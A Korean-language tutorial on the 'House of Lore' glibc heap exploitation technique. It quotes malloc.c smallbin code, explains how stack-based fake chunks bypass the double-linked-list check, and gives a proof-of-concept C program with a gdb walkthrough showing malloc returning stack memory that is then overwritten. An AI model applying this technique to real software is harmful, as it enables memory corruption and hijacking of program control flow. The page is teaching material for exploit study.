Excuse the ads! We need some help to keep our site up.



List

House of Lore

  • House of Lore는 malloc()이 small bin에 해당하는 chunk의 재할당과 small bin에 배치하는 과정을 이용한 공격입니다.
  • malloc()은 small bin에 등록된 chunk를 사용하기 위해 메모리 할당을 요청한 크기가 small bin범위에 포함되는지 확인합니다.

    • 요청된 크기가 small bin 범위에 포함된다면, 요청된 크기에 해당하는 index를 찾습니다.

    • 그리고 bin[index]가 가지고 있는 값과 bin[index]→bk에 저장된 값을 비교합니다.

    • bin[index]→bk에 저장된 값을 victim에 저장합니다.

    • 그리고 이 값이 0 인지 확인합니다.

  • victim에 저장된 값이 0 아니라면 victim→bk 에 저장된 값을 bck에 저장합니다.

    • 그리고 bck->fd의 "victim"의 값이 다른지 확인합니다.

    • 두 값이 같지 않다면 malloc()은 에러 메시지("malloc(): smallbin double linked list corrupted")를 출력되고 프로세스를 종료합니다.

    • 두 값이 같다면 victim->size에 PREV_INUSE를 설정합니다.

    • 그리고 bck가 가지고 있는 값을 bin→bk에 저장되고, bin이 가지고 있는 값을 bck→fd에 저장합니다.

  • 해당 arena가 main arena인지 확인 합니다.

    • main arena가 아닐 경우 victim→size에 NON_MAIN_ARENA(0x4) flag를 설정합니다.

    • 그리고 할당자는 chunk2mem()을 호출하여 반환할 주소(victim + 2*SIZE_SZ)를 *p에 저장하고, p를 반환합니다.

malloc.c
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
          else
            {
              bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              if (av != &main_arena)
		set_non_main_arena (victim);
              check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }
  • 할당자는 그 청크의 크기가 small bin범위에 포함되는지 확인합니다.
    • 그 청크가 small bin범위에 포함된다면, 해당 청크의 인덱스 찾습니다.
    • 그리고 bin[victim_index]가 가지고 있는 값을 bck에 저장합니다.
    • bck->fd가 가지고 있는 값을 fwd에 저장합니다.
malloc.c
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
  • double linked list를 구현하기 위해 해당 chunk의 bk에 bck가 가지고있는 값을 저장되고,  fd에는 fwd가 가지고 있는 값을 저장합니다.

    • 해당 chunk의 포인터를 fwd→bk, bck→fd에 저장합니다.
malloc.c
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
  • House of Lore는 Stack에 Fake chunk를 작성할 수 있고, Free chunk의 bk의 값을 덮어쓸수 있을 경우 구현이 가능합니다.

    • 공격자는 Fake free chunk를 Stack에 작성하고, Small bin에 해당하는 메모리를 할당합니다.

    • 해당 메모리를 해제하여 이 메모리를 Free chunk로 만듭니다.

    • 새로운 메모리를 할당을 요청하면, Free chunk가 Bins[]에 배치되됩니다.

    • Fake chunk의 포인터를 Free chunk의 bk에 덮어씁니다.

    • Small bin에 배치된 chunk의 할당을 malloc()에 요청하면, Fake chunk의 시작 주소가 Bins[]에 배치 됩니다.

    • 그리고 다시 한번 같은 크기의 메모리 할당을 malloc()에 요청하면 Fake chunk의 영역에 해당하는 포인터를 반환합니다.

    • 반환된 포인터는 Stack 메모리 입니다.

  • House of Lore에서 중요한 것은 Fake chunk의 구조입니다.

    • 이 chunk는 Free chunk의 구조를 가져야 하며, 2개의 fake chunk가 필요합니다.

    • 첫번째 Fake chunk의 포인터를 free chunk(heap에 위치한)의 bk에 저장합니다.

    • 그리고 bins[idx]의 포인터를 첫번째 Fake chunk의 fd에 저장 합니다.

    • 첫번째 free chunk의 bk에 2번째 Fake chunk의 포인터를 저장합니다.

    • 그리고 2번째 fake chunk의 포인터를 첫번째 free chunk의 "bk"에 저장합니다.

  • 이러한 구조는 small bin에 배치된 chunk의 double-linked list가 손상되었는지 확인("bck->fd != victim")을 우회합니다.

    • 예를 들어 다음과 같은 구조에서 victim의 값이 0x7fffffffe230이고 bck→fd의 값이 0x7fffffffe230이기 때문에 검증 조건을 통과하게됩니다.

Fake chunks structure

  • 다음은 House of Lore의 흐름입니다.
    • Fake chunk를 Stack에 생성되고 free chunk를 생성한 후에 해당 chunk를 small bin에 배치합니다.
    • 그리고 fake chunk의 포인터를 free chunk의 "bk"에 저장합니다.
    • 그리고 해당 chunk를 재할당 받기 위해 메모리의 할당을 malloc()에 요청하면 할당자는 fake chunk를 small bin에 배치합니다.
    • 공격자가 다시 한번 동일한 크기 메모리 할당을 요청하면 할당자는 fake chunk의 메모리을 반환합니다.
House of Lore flow

Example

  • 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
    • 크기가 128 바이트, 256 바이트 인 메모리의 할당을 요청합니다.
    • 크기가 128byte인 메모리의 해제를 요청한 후, 메모리 할당을 요청합니다.
    • fake chunk를 stack에 작성하고 fake chunk의 포인터를 free chunk의 bk에 저장합니다.
    • 그리고 크기가 128byte인 메모리 2개의 할당을 요청합니다.
house_of_lore.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
void main(){
    unsigned long fake_chunk[56];
    fprintf(stderr,"fake_chunk : %p\n", fake_chunk);
 
    unsigned long *buf1 = malloc(128);
    unsigned long *buf2 = malloc(256);
 
    fprintf(stderr,"buf1 : %p\n", buf1);
    fprintf(stderr,"buf2 : %p\n", buf2);
    free(buf1);
 
    void *buf3 = malloc(1200);
    fprintf(stderr,"buf3 : %p\n", buf3);

    fake_chunk[2] = (unsigned long)buf1 - 0x10;
    fake_chunk[3] = (unsigned long)&fake_chunk[4];
    fake_chunk[6] = (unsigned long)fake_chunk;

    buf1[1] = (unsigned long)fake_chunk;
 
    void *buf4 = malloc(128);
    char *buf5 = malloc(128);

    fprintf(stderr,"buf4 : %p\n", buf4);
    fprintf(stderr,"buf5 : %p\n", buf5);
    fprintf(stderr,"buf5 : ");

    read(STDIN_FILENO,buf5, 128);
}
  • 해제된 chunk가 small bin에 배치되는 과정을 0x40079c에서 확인합니다.
    • Fake chunk의 구조를 0x400816에서 확인합니다.
    • 해당 chunk의 포인터가 small bin에 배치된 후 재할당되는 포인터를 0x40081e, 0x40082f에서 확인합니다.
    • 반환받은 메모리를 사용할 수 있는지 0x4008ad에서 확인합니다.
Breakpoints
lazenca0x0@ubuntu:~$ gcc -o house_of_lore house_of_lore.c 
lazenca0x0@ubuntu:~$ gdb -q ./house_of_lore
Reading symbols from ./house_of_lore...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006f6 <+0>:	push   rbp
   0x00000000004006f7 <+1>:	mov    rbp,rsp
   0x00000000004006fa <+4>:	sub    rsp,0x200
   0x0000000000400701 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040070a <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070e <+24>:	xor    eax,eax
   0x0000000000400710 <+26>:	mov    rax,QWORD PTR [rip+0x200949]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400717 <+33>:	lea    rdx,[rbp-0x1d0]
   0x000000000040071e <+40>:	mov    esi,0x400954
   0x0000000000400723 <+45>:	mov    rdi,rax
   0x0000000000400726 <+48>:	mov    eax,0x0
   0x000000000040072b <+53>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400730 <+58>:	mov    edi,0x80
   0x0000000000400735 <+63>:	call   0x4005d0 <malloc@plt>
   0x000000000040073a <+68>:	mov    QWORD PTR [rbp-0x1f8],rax
   0x0000000000400741 <+75>:	mov    edi,0x100
   0x0000000000400746 <+80>:	call   0x4005d0 <malloc@plt>
   0x000000000040074b <+85>:	mov    QWORD PTR [rbp-0x1f0],rax
   0x0000000000400752 <+92>:	mov    rax,QWORD PTR [rip+0x200907]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400759 <+99>:	mov    rdx,QWORD PTR [rbp-0x1f8]
   0x0000000000400760 <+106>:	mov    esi,0x400965
   0x0000000000400765 <+111>:	mov    rdi,rax
   0x0000000000400768 <+114>:	mov    eax,0x0
   0x000000000040076d <+119>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400772 <+124>:	mov    rax,QWORD PTR [rip+0x2008e7]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400779 <+131>:	mov    rdx,QWORD PTR [rbp-0x1f0]
   0x0000000000400780 <+138>:	mov    esi,0x400970
   0x0000000000400785 <+143>:	mov    rdi,rax
   0x0000000000400788 <+146>:	mov    eax,0x0
   0x000000000040078d <+151>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400792 <+156>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x0000000000400799 <+163>:	mov    rdi,rax
   0x000000000040079c <+166>:	call   0x400580 <free@plt>
   0x00000000004007a1 <+171>:	mov    edi,0x4b0
   0x00000000004007a6 <+176>:	call   0x4005d0 <malloc@plt>
   0x00000000004007ab <+181>:	mov    QWORD PTR [rbp-0x1e8],rax
   0x00000000004007b2 <+188>:	mov    rax,QWORD PTR [rip+0x2008a7]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004007b9 <+195>:	mov    rdx,QWORD PTR [rbp-0x1e8]
   0x00000000004007c0 <+202>:	mov    esi,0x40097b
   0x00000000004007c5 <+207>:	mov    rdi,rax
   0x00000000004007c8 <+210>:	mov    eax,0x0
   0x00000000004007cd <+215>:	call   0x4005c0 <fprintf@plt>
   0x00000000004007d2 <+220>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x00000000004007d9 <+227>:	sub    rax,0x10
   0x00000000004007dd <+231>:	mov    QWORD PTR [rbp-0x1c0],rax
   0x00000000004007e4 <+238>:	lea    rax,[rbp-0x1d0]
   0x00000000004007eb <+245>:	add    rax,0x20
   0x00000000004007ef <+249>:	mov    QWORD PTR [rbp-0x1b8],rax
   0x00000000004007f6 <+256>:	lea    rax,[rbp-0x1d0]
   0x00000000004007fd <+263>:	mov    QWORD PTR [rbp-0x1a0],rax
   0x0000000000400804 <+270>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x000000000040080b <+277>:	lea    rdx,[rax+0x8]
   0x000000000040080f <+281>:	lea    rax,[rbp-0x1d0]
   0x0000000000400816 <+288>:	mov    QWORD PTR [rdx],rax
   0x0000000000400819 <+291>:	mov    edi,0x80
   0x000000000040081e <+296>:	call   0x4005d0 <malloc@plt>
   0x0000000000400823 <+301>:	mov    QWORD PTR [rbp-0x1e0],rax
   0x000000000040082a <+308>:	mov    edi,0x80
   0x000000000040082f <+313>:	call   0x4005d0 <malloc@plt>
   0x0000000000400834 <+318>:	mov    QWORD PTR [rbp-0x1d8],rax
   0x000000000040083b <+325>:	mov    rax,QWORD PTR [rip+0x20081e]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400842 <+332>:	mov    rdx,QWORD PTR [rbp-0x1e0]
   0x0000000000400849 <+339>:	mov    esi,0x400986
   0x000000000040084e <+344>:	mov    rdi,rax
   0x0000000000400851 <+347>:	mov    eax,0x0
   0x0000000000400856 <+352>:	call   0x4005c0 <fprintf@plt>
   0x000000000040085b <+357>:	mov    rax,QWORD PTR [rip+0x2007fe]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400862 <+364>:	mov    rdx,QWORD PTR [rbp-0x1d8]
   0x0000000000400869 <+371>:	mov    esi,0x400991
   0x000000000040086e <+376>:	mov    rdi,rax
   0x0000000000400871 <+379>:	mov    eax,0x0
   0x0000000000400876 <+384>:	call   0x4005c0 <fprintf@plt>
   0x000000000040087b <+389>:	mov    rax,QWORD PTR [rip+0x2007de]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400882 <+396>:	mov    rcx,rax
   0x0000000000400885 <+399>:	mov    edx,0x7
   0x000000000040088a <+404>:	mov    esi,0x1
   0x000000000040088f <+409>:	mov    edi,0x40099c
   0x0000000000400894 <+414>:	call   0x4005e0 <fwrite@plt>
   0x0000000000400899 <+419>:	mov    rax,QWORD PTR [rbp-0x1d8]
   0x00000000004008a0 <+426>:	mov    edx,0x80
   0x00000000004008a5 <+431>:	mov    rsi,rax
   0x00000000004008a8 <+434>:	mov    edi,0x0
   0x00000000004008ad <+439>:	call   0x4005a0 <read@plt>
   0x00000000004008b2 <+444>:	nop
   0x00000000004008b3 <+445>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008b7 <+449>:	xor    rax,QWORD PTR fs:0x28
   0x00000000004008c0 <+458>:	je     0x4008c7 <main+465>
   0x00000000004008c2 <+460>:	call   0x400590 <__stack_chk_fail@plt>
   0x00000000004008c7 <+465>:	leave  
   0x00000000004008c8 <+466>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040079c
Breakpoint 1 at 0x40079c
gdb-peda$ b *0x0000000000400816
Breakpoint 2 at 0x400816
gdb-peda$ b *0x000000000040081e
Breakpoint 3 at 0x40081e
gdb-peda$ b *0x000000000040082f
Breakpoint 4 at 0x40082f
gdb-peda$ b *0x00000000004008ad
Breakpoint 5 at 0x4008ad
gdb-peda$
  • 프로그램은 2개의 메모리를 할당받았습니다.

    • 첫번째 메모리의 포인터는 0x602010이고 크기는 128byte입니다.

    • 해당 메모리를 해제하면 free chunk가 됩니다.

    • 그리고 해당 chunk는 unsorted bin에 배치됩니다.

    • 메모리가 할당되면 free chunk(0x602000)는 bins[16], bins[17]에 배치됩니다.

Place the free chunks in a small bin.
gdb-peda$ r
Starting program: /home/lazenca0x0/house_of_lore 
fake_chunk : 0x7fffffffe2a0
buf1 : 0x602010
buf2 : 0x6020a0

Breakpoint 1, 0x000000000040079c in main ()
gdb-peda$ x/i $rip
=> 0x40079c <main+166>:	call   0x400580 <free@plt>
gdb-peda$ i r rdi
rdi            0x602010	0x602010
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ ni

0x00000000004007a1 in main ()
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x602000
gdb-peda$ ni

0x00000000004007a6 in main ()
gdb-peda$ x/i $rip
=> 0x4007a6 <main+176>:	call   0x4005d0 <malloc@plt>
gdb-peda$ ni

0x00000000004007ab in main ()
gdb-peda$ p main_arena.bins[0]
$7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[16]
$8 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$9 = (mchunkptr) 0x602000
gdb-peda$
  • 프로그램은 Fake chunk를 0x7fffffffe2a0에 작성합니다.
    • 첫번째 Fake chunk의 포인터는 0x7fffffffe2a0이고, 해당 chunk의 fd는 0x602000, bk는 0x7fffffffe2c0입니다.
    • 두번째 Fake chunk의 포인터는 0x7fffffffe2c0이고, 해당 chunk의 fd는 0x00007fffffffe2a0입니다.
    • victim의 값이 0x7fffffffe2a0이고 bck→fd의 값이 0x7fffffffe2a0이기 때문에 검증 조건을 통과하게됩니다.
Place the free chunks in a small bin.
gdb-peda$ c
Continuing.
buf3 : 0x6021b0

Breakpoint 2, 0x0000000000400816 in main ()
gdb-peda$ x/3i $rip
=> 0x400816 <main+288>:	mov    QWORD PTR [rdx],rax
   0x400819 <main+291>:	mov    edi,0x80
   0x40081e <main+296>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rax
rax            0x7fffffffe2a0	0x7fffffffe2a0
gdb-peda$ x/8gx 0x7fffffffe2a0
0x7fffffffe2a0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2b0:	0x0000000000602000	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x00007fffffffe2a0	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1bf8	0x00007ffff7dd1bf8

  • fake chunk를 작성한 후에 해당 chunk의 포인터를 small bin에 등록하기 위해 메모리 할당을 요청합니다.
    • malloc()으로 부터 메모리를 할당 받으면, main_arena.bins[17]에 Fake chunk가 배치됩니다.
Place fake chunks in a small bin.
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040081e in main ()
gdb-peda$ x/i $rip
=> 0x40081e <main+296>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0x80	0x80
gdb-peda$ p main_arena.bins[16]
$11 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$12 = (mchunkptr) 0x602000
gdb-peda$ ni

gdb-peda$ p main_arena.bins[16]
$14 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$15 = (mchunkptr) 0x7fffffffe2a0

  • 프로그램은 main_arena.bins[17]에 등록된 chunk를 재할당 받기위해 크기가 128byte인 메모리의 할당을 요청합니다.
    • 할당자는 small bin에 사용가능한 chunk가 있다고 판단하고, main_arena.bins[17]에 등록된 chunk를 재할당 합니다.
    • 재할당 된 chunk의 포인터(0x7fffffffe2b0)는 Fake chunk의 영역입니다.
Reallocate fake chunks
gdb-peda$ c
Continuing.

Breakpoint 4, 0x000000000040082f in main ()
gdb-peda$ x/i $rip
=> 0x40082f <main+313>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0x80	0x80
gdb-peda$ ni

0x0000000000400834 in main ()
gdb-peda$ p main_arena.bins[16]
$17 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$18 = (mchunkptr) 0x7fffffffe2c0
gdb-peda$ i r rax
rax            0x7fffffffe2b0	0x7fffffffe2b0
gdb-peda$ x/6gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x00007ffff7dd1bf8	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x00007ffff7dd1bf8	0x0000000000000000
gdb-peda$
  • 공격자는 반환된 fake chunk의 포인터에 데이터를 저장할 수 있습니다.
    • 이는 상황에 따라 프로그램의 흐름도 변경할 수 있다는 것입니다.
You can access the data with a pointer to a fake chunk returned from malloc ().
gdb-peda$ c
Continuing.
buf4 : 0x602010
buf5 : 0x7fffffffe2b0
buf5 : 

Breakpoint 5, 0x00000000004008ad in main ()
gdb-peda$ x/i $rip
=> 0x4008ad <main+439>:	call   0x4005a0 <read@plt>
gdb-peda$ i r rsi
rsi            0x7fffffffe2b0	0x7fffffffe2b0
gdb-peda$ x/4gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x00007ffff7dd1bf8	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
gdb-peda$ ni
AAAAAAAAAAAAAAAA

0x00000000004008b2 in main ()
gdb-peda$ x/4gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2c0:	0x000000000000000a	0x0000000000000000
gdb-peda$ 

Related information